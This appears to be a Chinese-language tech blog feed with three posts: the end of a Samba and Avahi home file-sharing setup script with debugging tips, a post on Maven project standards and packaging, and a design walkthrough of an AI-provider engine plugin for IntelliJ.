    sudo tee -a $SAMBA_CONFIG >/dev/null <<EOF

[$SHARE_NAME]
   comment = $COMMENT
   path = $SHARE_PATH
   public = yes
   writable = yes
   browseable = yes
   create mask = 0775
   directory mask = 0775
EOF
done

# 配置 Samba 用户
echo -e "${GREEN}🔑 设置 Samba 用户...${RESET}"
sudo mkdir -p /var/lib/samba/private/
sudo smbpasswd -a $USER

# 配置 Avahi 服务发现
echo -e "${GREEN}🌍 生成 Avahi 服务配置...${RESET}"
sudo tee $AVAHI_CONFIG >/dev/null <<EOF
<?xml version="1.0" standalone='no'?>
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">
<service-group>
    <name replace-wildcards="yes">%h</name>
    <service>
        <type>_smb._tcp</type>
        <port>445</port>
    </service>
</service-group>
EOF

# 重启服务
echo -e "${GREEN}🔄 重启核心服务...${RESET}"
sudo systemctl restart smbd avahi-daemon

# 显示最终配置
echo -e "\n${GREEN}✅ 配置完成！${RESET}"
echo -e "📡 服务访问地址: smb://$(hostname -I | awk '{print $1}')"
echo -e "🔒 使用用户名 [$USER] 和您设置的密码访问"

脚本亮点解析

让我来解释一下这个脚本几个关键的设计思路：

1. 为什么禁用 nmbd 服务？

你可能注意到脚本里有这么一段：

sudo systemctl stop nmbd 2>/dev/null
sudo systemctl disable nmbd 2>/dev/null

说实话，我一开始也不知道为什么要禁用 nmbd。后来查了资料才发现：

nmbd 负责 NetBIOS 名称解析，这是传统的 Windows 网络发现方式。但在现代网络环境中，我们用的是 mDNS（Bonjour），所以 nmbd 不仅没用，还可能占用端口冲突。

而且，禁用 nmbd 后，Samba 会自动使用 mDNS 进行网络发现，这样在 macOS 的 Finder 里就能直接看到服务器了。

2. Avahi 配置的奥秘

这个配置很多人都会忽略：

sudo sed -i "s/#host-name=.*/host-name=${NETBIOS_NAME}/g" $AVAHI_DAEMON_CONF
sudo sed -i "s/#publish-workstation=.*/publish-workstation=no/g" $AVAHI_DAEMON_CONF

host-name 很好理解，就是设置网络中显示的名称。

但 publish-workstation=no 这个设置就很有意思了。如果不设为 no，你的服务器会在网络中广播为”工作站”，这可能会影响其他设备的网络发现。

我当时调试的时候就遇到了这个问题：在 Mac 上能看到服务器，但类型显示为”工作站”而不是”文件服务器”。查了半天才发现是这个配置的问题。

3. 为什么选择 mdns 而不是 wins？

看 Samba 配置的这两行：

mdns name = mdns
wins support = yes

这其实是做了个兼容性处理：

mdns 用于现代网络（macOS、Linux、Windows 10+）
wins 作为备用方案，兼容老设备

我家里的设备比较新，本来只用 mdns 就够了。但考虑到朋友有时候会用老电脑来访问，所以把 wins 也开着。

4. 权限设置的细节

这个配置很多人会搞错：

create mask = 0775
directory mask = 0775

为什么要设成 0775 而不是 0777？

0775：创建的文件/目录，组内用户可以读写，其他人只能读取
0777：所有人都能读写，不够安全

我家里的服务器都是我一个人用，但还是坚持最小权限原则。谁知道哪天会不会有设备被黑了呢？安全第一。

OpenWrt 软路由配置

说实话，OpenWrt 的 Samba 配置比我想象的要简单很多。

刚开始我以为 OpenWrt 跟普通 Linux 主机一样，得自己改一堆配置文件。后来发现 OpenWrt 有专门的 LuCI 界面和 opkg 包管理，走 Web 反而比命令行还轻松。

基础安装

opkg update
opkg install luci-app-samba4
opkg install uci-i18n-samba4-zh-cn

/etc/init.d/samba4 enable
/etc/init.d/samba4 start

smbpasswd -a root
# 输入密码

这里有个小坑：一定要安装中文语言包，不然在 Web 界面里看到的是英文，很多选项都搞不懂是干嘛的。

修改服务名称

OpenWrt 的网络发现服务名称默认是路由器型号，比如 “GL-iNet”。如果你想改成自定义的名字，需要手动改配置：

vim /etc/avahi/avahi-daemon.conf

找到 [server] 段，改成你想在 Finder / 网络邻居里显示的名字：

[server]
host-name=my-router

然后重启 avahi 服务：

/etc/init.d/avahi-daemon enable
/etc/init.d/avahi-daemon start

我的踩坑经历

当时我在 OpenWrt 上配完 Samba 后，在 Mac 上怎么都找不到这个服务。查了半天才发现：

OpenWrt 默认的防火墙规则会阻止 Samba 端口！

需要在防火墙设置里开放 445 和 139 端口，或者直接在 Web 界面的 Samba 设置里勾选”允许网络访问”。

还有一点，OpenWrt 的存储空间通常比较小，如果共享目录挂载在内部存储上，很快就会满。建议挂载到 USB 或者移动硬盘上。

调试常用命令

这些命令我在调试过程中经常用到，分享给大家：

macOS 网络发现调试

# 刷新 mDNS 缓存
sudo killall -HUP mDNSResponder

这个命令特别有用！有时候你明明配置好了，但在 Finder 里就是看不到服务，执行这个命令就出来了。

检查网络服务

# 检查 mDNS（Bonjour） 广播 SMB 服务的设备
dns-sd -B _smb._tcp

# AFP（Apple 文件共享协议）
dns-sd -B _afpovertcp._tcp

# FTP 服务器
dns-sd -B _ftp._tcp

# HTTP 服务器
dns-sd -B _http._tcp

# SSH 服务器
dns-sd -B _ssh._tcp

# NFS 服务器
dns-sd -B _nfs._tcp

这些命令用来检查网络中实际在广播什么服务。有时候你会发现某些服务在广播，但客户端就是连接不上，这就说明是客户端的问题而不是服务端的问题。

Linux 服务端调试

# 检查 Samba 服务状态
systemctl status smbd nmbd

# 检查端口监听
netstat -tlnp | grep :445
netstat -tlnp | grep :139

# 测试 Samba 配置
testparm

# 查看 Samba 连接
smbstatus

我的调试经验

有一次我在一台服务器上配置完 Samba 后，怎么都连不上。用上述命令一查，发现 445 端口根本没在监听。

原来是防火墙问题！我忘记了 Ubuntu 默认的 ufw 防火墙会阻止新端口。

sudo ufw allow 445/tcp
sudo ufw allow 139/tcp
sudo ufw reload

执行完这些命令，马上就能连上了。所以说，调试的时候一定要系统性地排查，不要瞎猜。

我的收获和感悟

通过这次折腾 Samba 的经历，我明白了几个道理：

1. 自动化脚本真的很有必要

刚开始我只是想写个简单的脚本，节省一点时间。但真正用起来才发现，标准化和一致性比单纯节省时间更重要。

家里的服务器多了之后，每台配置都不一样真的会很混乱。有了这个脚本后，所有服务器的 Samba 配置都是统一的，维护起来轻松很多。

2. 网络发现比想象中复杂

之前我以为 Samba 配置就是改个 smb.conf 文件，但深入了解后发现，网络发现服务（mDNS/NetBIOS）才是最难搞的部分。

不同操作系统的客户端对网络发现的支持也不一样：

macOS：主要靠 mDNS
Windows 10+：两者都支持
老版本 Windows：主要靠 NetBIOS

所以我在脚本里选择两种都启用，确保最大兼容性。

3. 调试思路很重要

遇到问题的时候，不要慌，要有一套系统的调试思路：

先看服务状态 - 服务启动了吗？
再看端口监听 - 端口开放了吗？
然后看防火墙 - 防火墙放行了吗？
最后看网络发现 - 客户端能看到服务吗？

按这个顺序排查，基本上 99% 的问题都能找到原因。

4. 安全性不能忽视

虽然只是家里的局域网，但我还是坚持了一些安全实践：

不用 777 权限
禁用不必要的服务（nmbd）
定期更新 Samba 版本

谁知道哪天会不会有设备被黑呢？做好基本的安全防护总是没错的。

最后想说的话

写完这个脚本后，我再也没有为 Samba 配置烦恼过。现在想在哪台服务器上开共享，直接 scp 过去跑一遍，几分钟就搞定，全家所有机器的 Samba 配置都是一个模子刻出来的。

这种一次编写、到处使用的感觉真的很爽。如果你也在为类似的问题烦恼，不妨也花一个晚上把它脚本化——这一个晚上，绝对比你未来每次”重新查文档、重新 apt install、重新改 smb.conf”省下的时间要少得多。

希望这篇文章能帮到和我一样被 Samba 折磨过的朋友们。

参考：

Maven 工程规范：真正的承重墙

Tue, 13 Jan 2026 00:00:00 GMT

规范这种东西，到底有用没用

上一篇文章聊了研发底座的整体架构和一些让我头疼的设计问题。今天深入第一个优化方向：工程与项目规范。

先说实话——规范这个东西，技术人员天然反感。觉得这是管理岗搞出来的条条框框，约束创造力。但我在这个项目中待了一段时间后，反而成了规范最坚定的推动者。为什么？因为一个反直觉的事实：在人员流动性大、技术水平参差不齐的项目中，规范的约束力比框架的技术能力更重要。

框架再牛，也挡不住有人用一百种写法实现同一个功能。Spring Security 配置得好好的，有人非要在 Controller 里手写一个 Token 校验。响应体统一封装好了，有人就是要自己 new 一个 HashMap 返回。日志规范定了，但每个人的埋点格式都不一样。

这不是技术问题，这是没有规范或者规范没有执行的问题。

产品经理圈子里有句老话，叫”把用户当傻子”。意思是让用户减少学习成本、容易上手，是产品设计的核心追求。研发底座本质上也是一个产品——它的用户是研发人员。你不能假设每个使用者技术实力都很强、都有好的编码习惯。你会这么想，是因为你在架构组，你周围的人能力都不差。但业务团队的现实是：有人刚毕业，有人从其他语言转过来，有人忙着赶需求没空研究框架文档。

所以他们需要规范。不是管他们，而是帮他们——告诉你目录怎么建、依赖怎么管、代码怎么写、包怎么打。你照做就行，不用思考。

第一步，从项目脚手架开始。

为什么不能直接复制示例项目

框架的现状是提供了一个叫 xxx-manage-service 的示例项目给业务方看。但有些团队图省事，直接把这个示例项目复制一份开始做业务开发。这听起来没什么，实际上后患无穷。

首先，你要删掉原来的 .git 目录，重新 git init。然后在 GitLab 上创建一个新的业务仓库关联起来。接着修改项目名称——根目录名、pom.xml 的 artifactId、application.yml 里的应用名，还有一些藏在代码里的引用。最后还要把示例代码删掉。删完之后呢？那些示例代码中演示的推荐写法你也看不到了。于是要么再拉一份示例项目下来对照，要么凭记忆写。

有人说”用原来的示例项目建多个分支来管理不同业务”，这更不现实。不同业务项目的演进路径完全不同，它们的代码应该在不同的仓库里，而不是同一个仓库的不同分支。

更合理的做法是提供一个 Maven Archetype。它是一个项目模板，你在命令行里跑一条命令，输入 groupId、artifactId、项目名，它自动给你生成一个标准化的项目骨架：

mvn archetype:generate \
  -DarchetypeGroupId=com.xxx \
  -DarchetypeArtifactId=project-archetype \
  -DarchetypeVersion=3.1.0 \
  -DgroupId=com.xxx.business \
  -DartifactId=my-business-service

生成的骨架包含了所有约定的目录结构、基础配置文件和必要的代码注释。不是空壳，而是一个”可以直接开始写业务代码”的状态。

有人可能会说，Spring Initializr 也能做这个事，甚至可以直接二开 start.spring.io。理论上可行，但目前阶段性价比不高。Spring Initializr 的二次开发需要维护一个 starter 索引服务，和内部的 starter 体系对接，而且对于非 Spring Boot 标准场景的支持需要额外开发。现阶段用 Maven Archetype 是最轻量的方案，一条命令就能用，不需要额外部署服务。

目录结构不是想放哪就放哪

框架的目录结构不能只有 src/main/java 和 src/test/java。这是 Maven 的默认约定，没问题，但它不完整。我要求的固化结构至少还要包含这些：

project-root/
├── docs/                   # 文档跟着代码走
│   ├── architecture.md     # 架构说明
│   └── api-guide.md        # 接口说明
├── db/                     # 数据库脚本跟着版本走
│   ├── init/               # 初始化脚本
│   └── update/             # 变更脚本（按版本号命名）
├── branch.md               # 分支说明，杜绝"口口相传"
├── src/
│   ├── main/java/...
│   └── test/java/...
└── pom.xml

为什么 docs/ 很重要？因为这个项目型的团队里，文档往往被放在 Wiki 或者 Confluence 里。但那些地方的文档和代码版本是脱节的——代码升到了 3.1.0，Wiki 上可能还是 2.1.0 的说明。把文档放在代码仓库里，跟着版本一起走，至少保证每个版本的代码都有对应版本的文档。

为什么 branch.md 很重要？因为一个大型项目可能会有很多分支——feature、hotfix、release、个人开发分支。新来的人面对二十几个分支，完全不知道哪个是干什么的。老员工口头告诉他的信息，可能过两天就忘了。一份写在仓库里的分支说明文档，成本极低，但避免了大量的沟通浪费。

为什么 db/ 很重要？因为数据库结构的变更应该跟着代码版本走。你今天改了一个表结构，你的 SQL 脚本放在哪？如果放在你本地电脑上，那其他人怎么知道这个变更？如果放在 Wiki 上，那和代码版本的对应关系怎么保证？放在 db/update/ 下，按版本号命名——V2.1.0__add_user_phone_column.sql——清清楚楚。

这些看似”谁都知道”的约定，其实执行得很差。原因不是大家不想做，而是没人把这些要求明确地写下来并强制检查。

Maven 依赖管理的几个坑

scope 和 optional，你真的分得清吗

这是我最常被问到的问题之一。Maven 有两个看起来很像的东西——<scope>provided</scope> 和 <optional>true</optional>。它们的区别用一个场景就能讲清楚。

以 Lombok 为例。Lombok 只在编译期有用，运行时完全没用。那应该怎么配？

第一步考虑：要不要打入部署包？不要。所以 scope=provided。provided 的语义是”编译和测试时可用，运行时由容器提供，不打入部署包”。

第二步考虑：如果我的项目被其他项目依赖，Lombok 要不要传递过去？不要。但这里有一个细节——provided 本身就不会传递依赖。所以用了 provided，也就不需要 optional。

那 optional 用在什么场景？经典例子是 Spring Boot 的 Starter。一个 Starter 可能支持多种日志框架——Logback、Log4j2，但它不会强制你全部引入。做法是在父 POM 中声明所有可选日志框架的依赖，每个都标 optional=true，然后业务方按需显式引入自己想用的那一个。

简单总结：你关注的是打包控制，用 scope；你关注的是依赖传递性，用 optional。 对于 Lombok、注解处理器这类编译期工具，一律用 provided，既不打入部署包，也不向下游传递。

另一个常见争议是 spring-boot-starter-parent vs spring-boot-dependencies。两者都可以管理 Spring Boot 依赖的版本，但有细微差别。

spring-boot-starter-parent 除了管理依赖版本，还带了一堆 Maven 插件的默认配置——编译插件、打包插件、资源过滤规则。小型项目或者个人项目用它就够了，简单省事。

但它不适合作为企业级框架的父 POM。为什么？因为框架的父 POM 需要放自己的东西——内部的仓库配置、内部的插件配置、内部的依赖版本管理。如果你直接继承 spring-boot-starter-parent，那你的父 POM 就只能有一个爹。而你真正需要的是 Spring Boot 的 BOM（Bill of Materials），也就是依赖版本对齐的能力，不是它那些插件默认配置。

所以推荐的做法是：框架的父 POM 用 spring-boot-dependencies：

<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-dependencies</artifactId>
            <version>${boot.version}</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
        <!-- 框架自己的 BOM -->
        <dependency>
            <groupId>com.xxx</groupId>
            <artifactId>framework-dependencies</artifactId>
            <version>${framework.version}</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
    </dependencies>
</dependencyManagement>

这样既用了 Spring Boot 的版本对齐，又保留了框架自己父 POM 的灵活空间。

为什么需要一个独立的 dependencies 模块

看一个具体问题。框架的 common-parent 中同时定义了子模块的依赖，比如 user-api-starter 做为一个依赖项出现在了 parent 的 dependencyManagement 中：

<dependency>
    <groupId>com.xxx</groupId>
    <artifactId>user-api-starter</artifactId>
    <version>${project.version}</version>
</dependency>

这让父子模块耦合在了一起。推荐的做法是创建一个独立的 framework-dependencies 模块，把所有 starter 组件的依赖管理集中在这里。parent 只管构建配置，dependencies 只管版本管理。职责分离，边界清晰。

构建产物怎么打包

当前主流做法是 Spring Boot 的 fat jar——一个 jar 包包含所有依赖和资源。但我更推荐使用 maven-assembly-plugin 做分层打包：

.
├── bin/
│   └── launcher                    # 通用启动脚本
├── config/                          # 环境配置（外置，方便修改）
│   ├── application.yml
│   ├── application-prod.yml
│   ├── application-dev.yml
│   └── build-info.properties
├── app.jar                          # 主 jar（只有业务代码）
└── lib/                             # 第三方依赖
    ├── spring-boot-3.x.jar
    ├── mybatis-plus-3.x.jar
    └── ...

这个结构有几个好处。首先，配置外置——你要改个数据库地址，不需要解压 jar 包，直接改 config 目录下的配置文件就行。其次，依赖和业务代码分离——部署时如果只改了业务代码，只传 app.jar 就行，lib 目录不需要动。这点在 Docker 场景下特别有用，配合 Docker 的分层缓存，只变更业务代码时构建速度能快不少。

有人会说 fat jar 更简单，一个文件传上去就行。这没错。但简单是有代价的——每次改一行代码，你都要重新传一个 100MB 的 jar。企业内网的带宽可能不是问题，但构建和部署的时间就是问题。而且分层打包后，启动脚本（bin/launcher）也标准化了，不需要每个项目自己写一套启动命令。

这还没完

工程规范这件事，我上面说的只是冰山一角。编码规范、测试规范、版本发布规范，每一项都值得单独展开。这些在后续文章里会陆续写到，特别是代码质量工具链（Checkstyle + PMD + SonarQube）我们在第六篇会详细讲。

但有一件事我想先强调：规范的意义不在于”写得有多全”，而在于”执行得有多到位”。你花三个月写了一本三百页的编码规范，没人看，等于没写。你只定了三条规则，但 CI 管道自动检查，不通过就不给合入——这才叫规范。

下一篇我们聊一个更”血淋淋”的话题——统一响应体 Response 的重构。这玩意涉及面太广了，几乎每个接口都在用，改它不是技术问题，是怎么保证不出线上事故的问题。

从单体插件到 AI 平台：IntelliAI Engine 的设计与实现

Sat, 10 Jan 2026 00:00:00 GMT

为什么需要一个独立的 AI 引擎插件

做 JavaDoc 插件的时候碰到一个问题：代码里的 AI 调用逻辑、配置管理、凭证存储、UI 组件全部耦合在一个插件里。后来做 Changelog 插件，发现同样的代码要复制一遍。如果再做一个新功能的 AI 插件，又得复制一遍。

每新增一个 AI 服务商，要在每个插件里都适配一次。插件越多，维护成本越高，而且各插件的配置互相独立，用户要反复配 API Key。

把 AI 能力抽成一个独立的底层插件，所有业务插件（JavaDoc、Changelog 等）通过依赖调用，配置统一管理，用户配一次全部生效——这就是 IntelliAI Engine 要解决的问题。

graph TB
    subgraph Before["抽取之前"]
        direction TB
        JD1["JavaDoc 插件<br/>AI 调用 + 配置 + 凭证 + UI"]
        CL1["Changelog 插件<br/>AI 调用 + 配置 + 凭证 + UI"]
        NEW1["新插件<br/>AI 调用 + 配置 + 凭证 + UI"]
        AI1["AI 服务商 A"]
        AI2["AI 服务商 B"]
        AI3["AI 服务商 C"]
        JD1 --> AI1 & AI2 & AI3
        CL1 --> AI1 & AI2 & AI3
        NEW1 --> AI1 & AI2 & AI3
    end

    subgraph After["抽取之后"]
        direction TB
        JD2["JavaDoc 插件"]
        CL2["Changelog 插件"]
        NEW2["新插件"]
        ENGINE["IntelliAI Engine<br/>统一 AI 调用 · 配置管理 · 凭证存储"]
        AI4["AI 服务商 A"]
        AI5["AI 服务商 B"]
        AI6["AI 服务商 C"]
        JD2 & CL2 & NEW2 --> ENGINE
        ENGINE --> AI4 & AI5 & AI6
    end

支持的 AI 服务商

Engine 内置了 30+ 个 AI 服务商的预配置，按协议分组：

OpenAI 兼容协议（共用同一个 Provider 实现）：

服务商	默认模型	说明
FreeAI	studio/ollama/glm-4.7	自建免费代理
OpenAI	gpt-3.5-turbo	GPT 系列
DeepSeek	deepseek-chat	含 deepseek-reasoner
豆包	doubao-seed-1-8-251228	字节跳动
Grok	grok-3-latest	xAI
混元	hunyuan-2.0-instruct	腾讯
Moonshot	kimi-k2-thinking-turbo	Kimi
通义千问	qwen3-8b	阿里云
硅基流动	Qwen/Qwen3-8B	国内代理
IFlow	kimi-k2-0905	聚合平台
智谱AI	glm-4.7	GLM 系列
Z.AI	glm-4.7	智谱海外版
ModelScope	ZhipuAI/GLM-4.7	阿里魔搭
Nvidia	minimaxai/minimax-m2	NVIDIA API
HuggingFace	zai-org/GLM-4.7:novita	HF 推理
OpenRouter	z-ai/glm-4.5-air:free	路由聚合
Mistral AI	mistral-small-latest	Mistral
LM Studio	qwen3-8b	本地部署
Ollama	gpt-oss:20b-cloud	本地部署
Quotio	-	本地部署
Cloudflare Workers AI	@cf/meta/llama-3.1-8b-instruct	CF AI
Amazon Bedrock	openai.gpt-oss-120b	AWS
Azure OpenAI	gpt-4o-mini	微软 Azure
GitHub Models	openai/gpt-4.1	GitHub

Anthropic 兼容协议（单独实现，使用 Messages API）：

服务商	默认模型
Anthropic	claude-3-5-sonnet-20241022
DeepSeek (Anthropic)	deepseek-chat
豆包 (Anthropic)	doubao-seed-1-8-251228
混元 (Anthropic)	hunyuan-2.0-instruct
Moonshot (Anthropic)	kimi-k2-thinking-turbo
ModelScope (Anthropic)	ZhipuAI/GLM-4.7
智谱AI (Anthropic)	glm-4.7
Z.AI (Anthropic)	glm-4.7

大部分服务商走 OpenAI 兼容协议（/v1/chat/completions），共用同一个 OpenAILikeProvider 实现。少数不兼容的（Anthropic 系列、Azure、GitHub Models、Ollama 等）有独立的 Provider 子类。

AI 接入架构

整个 AI 接入的调用链路如下。业务插件只需关心左边两层，右边三层全部由 Engine 封装：

graph LR
    subgraph 业务插件
        BIZ["JavaDoc / Changelog / Chat"]
    end

    subgraph Engine 门面层
        SVC["AIServiceImpl"]
        CRED["AICredentialManager"]
    end

    subgraph Engine 路由层
        FACTORY["AIServiceFactory<br/>(switch + 30+ provider)"]
    end

    subgraph Engine 协议层
        OPENAI["OpenAILikeProvider<br/>/v1/chat/completions"]
        ANTHROPIC["AnthropicLikeProvider<br/>/v1/messages"]
        OLLAMA["OllamaLikeProvider"]
        SPECIAL["Azure / GitHub / ModelScope ..."]
    end

    subgraph Engine 执行层
        BLOCK["BlockingRequestExecutor<br/>(非流式)"]
        STREAM["StreamRequestExecutor<br/>(流式 + SSE)"]
    end

    BIZ -->|"AIChatRequest + AIProviderConfig"| SVC
    SVC --> CRED
    SVC --> FACTORY
    FACTORY --> OPENAI & ANTHROPIC & OLLAMA & SPECIAL
    OPENAI & ANTHROPIC & OLLAMA & SPECIAL --> BLOCK & STREAM
    STREAM -->|"StreamParseEngine<br/>策略链解析"| CALLBACK["AIStreamResponseListener<br/>onThinkingChunk / onChunk / onComplete"]
    BLOCK -->|"parseResponse"| RESPONSE["AIResponseListener<br/>onUsage"]

请求入口：AIServiceImpl

业务插件不直接创建 Provider，而是通过 AIServiceImpl 这个门面类统一调用。它负责三件事：创建 Provider、解析凭证、分发请求。

// AIServiceImpl.java
public String generateContent(Project project, AIChatRequest request,
                              AIProviderConfig config, AIResponseListener listener) {
    AIServiceProvider provider = AIServiceFactory.createProvider(project, config);
    String apiKey = resolveApiKey(project, config);
    return provider.generateContent(request, apiKey, listener);
}

public void generateContentStream(Project project, AIChatRequest request,
                                  AIProviderConfig config, AIStreamResponseListener listener) {
    ApplicationManager.getApplication().executeOnPooledThread(() -> {
        AIServiceProvider provider = AIServiceFactory.createProvider(project, config);
        String apiKey = resolveApiKey(project, config);
        listener.onStart();
        provider.generateContentStream(request, apiKey, listener);
    });
}

流式调用会在 IDE 线程池里异步执行，不阻塞 UI。resolveApiKey 通过全局凭证管理器 AICredentialManager 按 config.credentialId 查找加密存储的 API Key。

业务插件只需要构造一个 AIChatRequest（systemPrompt + userPrompt），传入一个 AIProviderConfig（服务商类型 + 模型名 + baseUrl + credentialId），调用 generateContent 或 generateContentStream 就行。至于用哪个协议、怎么构建请求体、怎么解析响应——全部由 Engine 处理。

请求模型：AIChatRequest

// AIChatRequest.java
public record AIChatRequest(@NotNull String systemPrompt,
                            @NotNull String userPrompt,
                            int promptTokenEstimate) {}

就是一个 system prompt + user prompt 的容器。promptTokenEstimate 是可选的 token 预估值，用于统计。

回调接口：AIResponseListener / AIStreamResponseListener

非流式和流式分别有不同的回调接口：

// AIResponseListener.java — 非流式
public interface AIResponseListener {
    default void onRequest(String providerName, String modelName, String requestBody, boolean validation) {}
    default void onResponse(String providerName, String modelName, String responseBody, boolean validation) {}
    default void onUsage(String providerName, String modelName,
                         int promptTokens, int completionTokens, int totalTokens) {}
}

// AIStreamResponseListener.java — 流式，继承 AIResponseListener
public interface AIStreamResponseListener extends AIResponseListener {
    default void onStart() {}
    default void onChunk(String chunk) {}          // 正文增量
    default void onThinkingChunk(String chunk) {}  // 思考过程增量
    default void onNotice(String message) {}       // 通知（如 finish_reason=length）
    default void onComplete(String fullText) {}    // 流结束，返回完整文本
    default void onError(String error, Throwable exception) {}
    default StreamCancellationToken cancellationToken() { return null; }  // 支持取消
}

AIStreamResponseListener 区分了正文（onChunk）和思考过程（onThinkingChunk），业务插件可以在 UI 上用不同样式展示。onNotice 用于通知非致命信息（比如响应被 length 截断时的提示）。cancellationToken() 支持中途取消流式请求。

工厂模式：一个 switch 搞定 30+ 服务商

所有服务商的创建走 AIServiceFactory，核心就是一个 switch 表达式：

// AIServiceFactory.java
public static AIServiceProvider createProvider(Project project, AIProviderConfig config) {
    AIProviderType providerType = config.providerType != null ? config.providerType : AIProviderType.QIANWEN;
    AIModelParameters modelParameters = config.modelParameters != null ? config.modelParameters : new AIModelParameters();
    AIRuntimeSettings runtimeSettings = config.runtimeSettings != null ? config.runtimeSettings : new AIRuntimeSettings();

    return switch (providerType) {
        // OpenAI 兼容系列 —— 全部用同一个实现
        case FREEAI, OPENAI, DEEPSEEK, DOUBAO, GROK, HUNYUAN, QIANWEN,
             SILICONFLOW, OPENROUTER, BEDROCK, CLOUDFLARE, HUGGINGFACE,
             NVIDIA, MISTRAL, LM_STUDIO, MOONSHOT, QUOTIO
            -> new OpenAILikeProvider(project, config, modelParameters, runtimeSettings);

        // 需要特殊处理的 OpenAI 兼容变体
        case AZURE -> new AzureOpenAIProvider(...);
        case GITHUB_MODELS -> new GitHubModelsProvider(...);
        case MODELSCOPE -> new ModelScopeOpenAIProvider(...);
        case IFLOW -> new IflowProvider(...);
        case ZHIPU -> new ZhipuOpenAIProvider(...);
        case ZAI -> new ZaiOpenAIProvider(...);

        // Anthropic 兼容系列
        case ANTHROPIC, MOONSHOT_ANTHROPIC, DEEPSEEK_ANTHROPIC,
             DOUBAO_ANTHROPIC, HUNYUAN_ANTHROPIC
            -> new AnthropicLikeProvider(...);
        case ZHIPU_ANTHROPIC -> new ZhipuAnthropicProvider(...);
        case MODELSCOPE_ANTHROPIC -> new ModelScopeAnthropicProvider(...);
        case ZAI_ANTHROPIC -> new ZaiAnthropicProvider(...);

        // 本地模型
        case OLLAMA -> new OllamaLikeProvider(...);
    };
}

新增一个 OpenAI 兼容的服务商，只需要在 AIProviderType 枚举里加一行配置（providerId、displayName、defaultBaseUrl、defaultModel、supportedModels），然后在 switch 里把它加到 OpenAILikeProvider 那一行就行。不需要写任何新的 Provider 类。

Provider 接口

每个服务商实现都必须实现 AIServiceProvider 接口：

// AIServiceProvider.java
public interface AIServiceProvider {
    AIProviderType getProviderType();
    String getModelName();
    String getBaseUrl();

    // 非流式：阻塞等待完整响应
    String generateContent(AIChatRequest request, String apiKey, AIResponseListener listener);

    // 流式：逐 chunk 回调
    void generateContentStream(AIChatRequest request, String apiKey, AIStreamResponseListener listener);

    // 测试连接
    ValidationResult validateConfiguration(String apiKey);

    // 刷新模型列表
    List<String> getAvailableModels(String apiKey);
}

继承体系

classDiagram
    class AIServiceProvider {
        <<interface>>
        +generateContent() String
        +generateContentStream() void
        +validateConfiguration() ValidationResult
        +getAvailableModels() List
    }
    class AICompatibleProvider {
        <<abstract>>
        #buildRequestBody() JsonObject
        #tuneConnection() void
        #parseModelsResponse() List
        +generateContent() String
        +generateContentStream() void
    }
    class OpenAILikeProvider {
        /v1/chat/completions
    }
    class AnthropicLikeProvider {
        +buildMessagesRequestBody()
        +readClaudeSse()
        /v1/messages
    }
    class OllamaLikeProvider {
        本地模型列表 API
    }
    class AzureOpenAIProvider {
        URL 构造 + api-version
    }
    class GitHubModelsProvider {
        目录 API
    }
    class ModelScopeOpenAIProvider {
        魔搭模型列表
    }
    class ZhipuOpenAIProvider {
        智谱特殊处理
    }
    class ZhipuAnthropicProvider {
        智谱 Anthropic 适配
    }
    class ModelScopeAnthropicProvider {
        魔搭 Anthropic 适配
    }

    AIServiceProvider <|.. AICompatibleProvider
    AICompatibleProvider <|-- OpenAILikeProvider
    AICompatibleProvider <|-- AnthropicLikeProvider
    AICompatibleProvider <|-- OllamaLikeProvider
    AICompatibleProvider <|-- AzureOpenAIProvider
    AICompatibleProvider <|-- GitHubModelsProvider
    AICompatibleProvider <|-- ModelScopeOpenAIProvider
    AICompatibleProvider <|-- ZhipuOpenAIProvider
    AnthropicLikeProvider <|-- ZhipuAnthropicProvider
    AnthropicLikeProvider <|-- ModelScopeAnthropicProvider

AICompatibleProvider 封装了所有公共逻辑：HTTP 客户端、重试、超时、请求体构建、模型列表解析。子类只需要覆盖差异部分。

请求构建

OpenAI 兼容协议请求体

AICompatibleProvider.buildRequestBody() 构建标准的 OpenAI 兼容 JSON 请求体：

// AICompatibleProvider.java — buildRequestBody()
JsonObject body = new JsonObject();
body.addProperty("model", config.modelName);
body.addProperty("stream", stream);
body.addProperty("think", enableThinking);         // 控制思考模式开关
body.addProperty("enable_thinking", enableThinking); // 兼容不同服务商

// 消息数组：system + user
JsonArray messages = new JsonArray();
messages.add(systemMessage);
messages.add(userMessage);
body.add("messages", messages);

// 模型参数：只有非 "auto" 时才添加
if (!"auto".equals(params.temperature)) {
    body.addProperty("temperature", Double.parseDouble(params.temperature));
}
// maxTokens 支持 K 单位：4K → 4000
if (maxTokensStr.endsWith("K") || maxTokensStr.endsWith("k")) {
    body.addProperty("max_tokens", (int) Math.max(100, Math.round(inK * 1000)));
}
// topP、topK、presencePenalty 同理

自动检测模型名是否包含 think，如果是则强制开启思考模式——避免某些思考模型在关闭思考时报错。

Anthropic 协议请求体

Anthropic 的请求格式完全不同，AnthropicLikeProvider 有自己的 buildMessagesRequestBody()：

// AnthropicLikeProvider.java — buildMessagesRequestBody()
JsonObject body = new JsonObject();
body.addProperty("model", config.modelName);
body.addProperty("stream", stream);
body.addProperty("system", systemPrompt);  // Anthropic 用顶级 "system" 字段，不在 messages 里

JsonArray messages = new JsonArray();
messages.add(userMsg);  // Anthropic 只有 user 消息，system 独立传
body.add("messages", messages);

// max_tokens 必须传，Anthropic 要求必填，默认 10240
body.addProperty("max_tokens", Objects.requireNonNullElse(maxTokens, 10240));
// temperature、top_p、top_k 按 Anthropic 格式映射

关键差异：

系统提示词：OpenAI 放在 messages 数组的 system role 里；Anthropic 用顶级 system 字段
max_tokens：OpenAI 可以不传（用模型默认值）；Anthropic 必填，不传会报错
认证头：OpenAI 用 Authorization: Bearer <key>；Anthropic 用 x-api-key: <key> + anthropic-version: 2023-06-01
API 端点：OpenAI 是 /v1/chat/completions；Anthropic 是 /v1/messages

这些差异全部在各自的 Provider 子类中处理，业务插件无感知。

连接调优

AICompatibleProvider.tuneConnection() 统一配置 HTTP 连接参数：

// AICompatibleProvider.java
private void tuneConnection(HttpURLConnection connection, String apiKey) {
    int timeoutMillis = runtimeSettings.getTimeoutInMillis();
    connection.setConnectTimeout(timeoutMillis);     // 连接超时
    connection.setReadTimeout(timeoutMillis * 2);    // 读取超时 = 连接超时 × 2
    if (apiKey != null && !apiKey.isEmpty()) {
        connection.setRequestProperty("Authorization", "Bearer " + apiKey);
    }
